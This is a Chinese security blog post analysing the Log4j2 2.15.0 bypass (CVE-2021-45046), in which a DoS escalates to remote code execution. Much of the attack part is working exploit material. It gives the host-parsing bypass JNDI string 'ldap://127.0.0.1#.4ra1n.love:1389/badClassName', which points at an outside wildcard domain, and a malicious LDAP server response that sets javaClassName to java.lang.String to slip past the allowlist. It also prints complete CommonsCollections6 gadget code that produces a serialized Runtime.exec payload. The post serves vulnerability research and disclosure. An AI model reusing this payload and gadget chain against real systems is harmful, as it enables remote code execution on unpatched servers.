前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈Log4j2之2.15.0版本RCE

浅谈Log4j2之2.15.0版本RCE

作者头像
亿人安全
发布2022-06-30 15:49:21
4560
发布2022-06-30 15:49:21
举报
文章被收录于专栏:红蓝对抗

0x00 介绍

CVE-2021-45046Log4j2漏洞爆出后在修复版本中出现的拒绝服务漏洞

在该CVE发布2天后,官方将4ra1n加入了credit中,本以为这就结束了

第3天在官方安全 页面 发现该漏洞从DoS升级到RCE并提高到9

(个人认为9分过高,虽然能RCE但限制条件过多,具体后续分析)

经过两天的分析和调试,我在Windows上复现失败,但在MacOS上确实可以成功

(由于家境贫寒买不起Mac所以拜托了天下大木头师傅协助,成功RCE)

首先说明一个很多人都在关心的问题:只要不开lookup就不存在漏洞

2.15.0版本中,无论DoS还是RCE都需要开启lookup功能,如果没有特殊配置且不使用ThreadContext等功能的情况下,是不存在漏洞的。但为了进一步的安全最好升级到最新版(目前是2.17.0版本)

回顾核心方法,也是本文重点

代码语言:javascript
复制
public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        if (uri.getScheme() != null) {
            // 限制协议必须为LDAP/LDAPS/JAVA
            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                return null;
            }
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                // 如果是LDAP或LDAPS情况限制Host为localhost
                if (!allowedHosts.contains(uri.getHost())) {
                    LOGGER.warn("Attempt to access ldap server not in allowed list");
                    return null;
                }
                // 尝试从LDAP Server获取相关的信息
                Attributes attributes = this.context.getAttributes(name);
                if (attributes != null) {
                    Map<String, Attribute> attributeMap = new HashMap<>();
                    NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                    while (enumeration.hasMore()) {
                        Attribute attribute = enumeration.next();
                        attributeMap.put(attribute.getID(), attribute);
                    }
                    Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                    if (attributeMap.get(SERIALIZED_DATA) != null) {
                        if (classNameAttr != null) {
                            String className = classNameAttr.get().toString();
                            // 如果获取到序列化数据则判断类名是否为八大基本类型
                            if (!allowedClasses.contains(className)) {
                                LOGGER.warn("Deserialization of {} is not allowed", className);
                                return null;
                            }
                        } else {
                            LOGGER.warn("No class name provided for {}", name);
                            return null;
                        }
                    // 不允许加载远程对象和远程工厂
                    } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                               || attributeMap.get(OBJECT_FACTORY) != null) {
                        LOGGER.warn("Referenceable class is not allowed for {}", name);
                        return null;
                    }
                }
            }
        }
    } catch (URISyntaxException ex) {
        LOGGER.warn("Invalid JNDI URI - {}", name);
        return null;
    }
    // 绕过上述限制后才可以调用lookup
    return (T) this.context.lookup(name);
}

2.14.1版本RCELDAP Server 这样写,注释写了防御方式。简单分析可以看出,假设真的有手段能够绕过了localhost检测,在当前的LDAP Server中也无法继续加载远程对象

代码语言:javascript
复制
protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
    // className虽然不符合八大基本类型
    // 但不存在javaSerializedData属性
    // 所以不会进入if (attributeMap.get(SERIALIZED_DATA) != null)
    e.addAttribute("javaClassName", "test");
    String codeBaseStr = this.codebase.toString();
    int refPos = codeBaseStr.indexOf('#');
    if (refPos > 0) {
        codeBaseStr = codeBaseStr.substring(0, refPos);
    }
    e.addAttribute("javaCodeBase", codeBaseStr);
    e.addAttribute("objectClass", "javaNamingReference");
    // OBJECT_FACTORY验证限制了这一步无法RCE
    // 假设能够绕过localhost的检测无法处理这一步
    e.addAttribute("javaFactory", this.codebase.getRef());
    result.sendSearchEntry(e);
    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

所以需要想出新的方式来触发,而不是继续利用javaFactory属性,这将在后文中写到

0x01 解析绕过

尝试一些URI的绕过:如何让URI.getHost获得到127.0.0.1

ldap://127.0.0.1:1389/badClassName这种方式获取到的一定是127.0.0.1。虽然可以绕过检测,但这里的URI放入LDAP中也只能解析到127.0.0.1,没有操作空间。于是想到,能否让URI.getHost合法(locaohost127.0.0.1)但实际上LDAP Client可能会把输入解析到黑客搭建的LDAP Server的IP呢?

以下内容就是围绕这个思路展开:目标域名是4ra1n.love

参考orange大佬在Black Hat 2017分享的PPT

看到其中的authority的解释,想到能否用@符号做一些事情

代码语言:javascript
复制
URI uri = new URI("ldap://4ra1n.love@127.0.0.1:1389/badClassName");
System.out.println(uri.getHost());
// 打印:127.0.0.1

可绕过但不可能被解析到4ra1n.love域名

看到PPT中另一处

编写对应的代码测试,发现#号也可以做一些事情

代码语言:javascript
复制
URI uri1 = new URI("ldap://127.0.0.1#@4ra1n.love:1389/badClassName");
System.out.println(uri1.getHost());

URI uri2 = new URI("ldap://127.0.0.1#4ra1n.love:1389/badClassName");
System.out.println(uri2.getHost());

URI uri3 = new URI("ldap://127.0.0.1#.4ra1n.love:1389/badClassName");
System.out.println(uri3.getHost());
// 都会打印:127.0.0.1

外国佬传出的POC如下,与我的猜测不谋而合

参考上方第三种Payload

代码语言:javascript
复制
ldap://127.0.0.1#.4ra1n.love:1389/badClassName

这里的Host127.0.0.1#.4ra1n.love

如果为4ra1n.love域名开启泛域名解析,那么127.0.0.1#是否会被当成一个子域名,从而访问到真正的目标IP

泛域名解析就是:a.4ra1n.loveb.4ra1n.love以及xxxxx.4ra1n.love都会被解析到同一个IP,如果把xxxxx替换成127.0.0.1#且解析不报错,那么就拿到了真正的IP,然后配合特殊的LDAP Server即可RCE

(很多师傅失败都是因为通常情况下包含#号的URI会报错UnknownHostException,在MacOS及一些特殊情况下会成功)

0x02 LDAP分析

这一节的内容主要是分析:如何产生的UnknownHostException以及尝试解决

以上的PayloadWindows中的测试会报错,LDAP Client初始化时候出现相同的异常:UnknownHostException

尝试使用Wireshark抓包发现没有dns相关信息,也就是说这个异常是发请求之前报出的

this.context.getAttributes(name)一路跟到LDAP Client初始化

代码语言:javascript
复制
LdapClient(String var1, int var2, String var3, int var4, int var5, OutputStream var6, PoolCallback var7) throws NamingException {
    // 跟入
    this.conn = new Connection(this, var1, var2, var3, var4, var5, var6);
    this.pcb = var7;
    this.pooled = var7 != null;
}

跟到最底层,发现只是一个普通的Socket方法:其中的var1var2正是hostport

代码语言:javascript
复制
private Socket createSocket(String var1, int var2, String var3, int var4) throws Exception {
    ...
    if (var5 == null) {
        // socket
        var5 = new Socket(var1, var2);
    }
    ...
    return var5;
}

Socket源码

代码语言:javascript
复制
public Socket(String host, int port)
    throws UnknownHostException, IOException
{
    // 如果host不为空会执行new InetSocketAddress(host, port)
    this(host != null ? new InetSocketAddress(host, port) :
         new InetSocketAddress(InetAddress.getByName(null), port),
         (SocketAddress) null, true);
}

参考InetSocketAddress类构造方法,找到了抛出异常的根源

代码语言:javascript
复制
public InetSocketAddress(String hostname, int port) {
    checkHost(hostname);
    InetAddress addr = null;
    String host = null;
    try {
        // 根源
        addr = InetAddress.getByName(hostname);
    } catch(UnknownHostException e) {
        host = hostname;
    }
    holder = new InetSocketAddressHolder(host, addr, checkPort(port));
}

找到底层方法,那么可以尝试造一些Payload测试报错情况

代码语言:javascript
复制
// 正常通过域名解析到IP
System.out.println(InetAddress.getByName("4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1#.4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1@4ra1n.love"));

继续从InetAddress.getByName跟下去,会到达一处native方法

代码语言:javascript
复制
public native InetAddress[]
    lookupAllHostAddr(String hostname) throws UnknownHostException;

由于Wireshark没有抓到DNS相关的包,在这一系列的流程也没有看到处理特殊符号的代码

而国外佬在有#号的情况下能够不报错,所以我猜测是这个native方法的原因,报错的底层是操作系统和JVM决定的

在官方安全页面写着只有在MacOS中才可以RCE,后来经过测试的确只能在MacOSRCE

代码语言:javascript
复制
remote code execution has been demonstrated on macOS but no other tested environments.

0x03 RCE分析

这一节的内容主要是分析:如果能够绕过localhost拿到目标IP情况下如何RCE

假设127.0.0.1#.4ra1n.love可以正常拿到IP地址,接下来需要解决RCE的问题

在文章一开始就有分析到,在2.15.0中禁了LDAPjavaFactory属性导致无法加载远程类,那么还能有什么思路呢

回顾0x00核心代码中的一个if分支

代码语言:javascript
复制
// javaSerializedData属性如果存在
if (attributeMap.get(SERIALIZED_DATA) != null) {
    if (classNameAttr != null) {
        String className = classNameAttr.get().toString();
        // javaClassName是否为八大基本类型
        if (!allowedClasses.contains(className)) {
            LOGGER.warn("Deserialization of {} is not allowed", className);
            return null;
        }
        ...
    }
}

分析下lookup底层的LdapCtx.c_lookup方法

代码语言:javascript
复制
// 一个全局数组后面会用到
static final String[] JAVA_ATTRIBUTES = new String[]{
    "objectClass", // JAVA_ATTRIBUTES[0]
    "javaSerializedData", // JAVA_ATTRIBUTES[1]
    "javaClassName", // JAVA_ATTRIBUTES[2]
    "javaFactory", // JAVA_ATTRIBUTES[3]
    "javaCodeBase", // JAVA_ATTRIBUTES[4]
    "javaReferenceAddress", // JAVA_ATTRIBUTES[5]
    "javaClassNames", // JAVA_ATTRIBUTES[6]
    "javaRemoteLocation" // JAVA_ATTRIBUTES[7]
};

其中有这样一句针对javaClassName的校验,但仅仅是非空校验

代码语言:javascript
复制
// var4是LDAP Server传过来的数据
// 如果javaClassName不为空则进入Obj.decodeObject
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
    var3 = Obj.decodeObject((Attributes)var4);
}

跟入decodeObject方法

代码语言:javascript
复制
static Object decodeObject(Attributes var0) throws NamingException {
    ...
    try {
        Attribute var1;
        // 如果javaSerializedData不为空
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            // 类加载器
            ClassLoader var3 = helper.getURLClassLoader(var2);
            // 跟入
            return deserializeObject((byte[])((byte[])var1.get()), var3);
        }
    ...
}

跟入deserializeObject方法,没有什么限制条件

代码语言:javascript
复制
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
    try {
        // var2中保存了序列化数据
        ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
        try {
            // 得到一个ObjectInputStream
            Object var20 = var1 == null ? 
                new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
            Throwable var21 = null;
            Object var5;
            try {
                // 反序列化调用对象的readObject方法
                var5 = ((ObjectInputStream)var20).readObject();
            }
            ...
        }
    }
}

可以看到整个过程中没有对javaClassNamejavaSerializedData验证

也就是说核心代码中类名白名单对javaClassName的限制没有用处,可以轻松绕过

然后将javaSerializedData属性设置为gadget的序列化数据,即可在readObject中触发RCE

(其实这个过程正是JDNI绕高版本JDK的一种方式)

0x04 RCE过程

这一节主要是搭建RCE的环境,编写特殊的LDAP Server

上文分析出了一种RCE的方式,但没有真正的实践

LDAP Server中设置javaClassName为基本类型,然后设置javaSerializedDataPayload

这里的java.lang.String可以绕过类目白名单的检测

代码语言:javascript
复制
protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
    e.addAttribute("javaClassName", "java.lang.String");
    e.addAttribute("javaSerializedData", payload);
    result.sendSearchEntry(e);
    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

Payload选用了CC6链(这个就不分析了,也可以用很多其他的gadget来触发)

代码语言:javascript
复制
public static byte[] getCC6(String cmd) {
    try {
        Transformer transformer = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                                   new Object[]{"getRuntime", new Class[]{}}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                                   new Object[]{null, new Object[]{}}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformer, transformers);
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
        objectOutputStream.writeObject(hashSet);
        objectOutputStream.close();
        byte[] data = outputStream.toByteArray();
        outputStream.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

我将写好的LDAP Server部署到远程服务器上(该工具以后分享,最近不太方便)

本地引入Log4j2 2.15.0CC依赖

代码语言:javascript
复制
<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.15.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.15.0</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

配置开启lookup功能

代码语言:javascript
复制
<configuration status="OFF" monitorInterval="30">
    <appenders>
        <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
            <PatternLayout pattern="%m{lookups}%n"/>
        </console>
    </appenders>

    <loggers>
        <root level="error">
            <appender-ref ref="CONSOLE-APPENDER"/>
        </root>
    </loggers>
</configuration>

打日志

代码语言:javascript
复制
public static void main(String[] args) throws Exception {
    logger.error("${jndi:ldap://127.0.0.1#.4ra1n.love:1389/badClassName}");
}

由于我的环境是Windows会在处理包含#号的Host时报错,所以在this.context.getAttributes(name);下断点并去掉#

由于4ra1n.love域名开启了泛域名解析,所以127.0.0.1.4ra1n.love也会解析到对应的IP

成功利用本地的gadget达到RCE的效果

0x05 RCE实现

终于在这一节实现了真正的RCE

为了验证在MacOS中的结果,我将漏洞环境打包发给了天下大木头师傅

然后在服务端启动MacOS弹计算器的LDAP Server(该工具以后分享,最近不太方便)

木头师傅成功在MacOSRCE,不需要进行其他修改

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 介绍
  • 0x01 解析绕过
  • 0x02 LDAP分析
  • 0x03 RCE分析
  • 0x04 RCE过程
  • 0x05 RCE实现
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档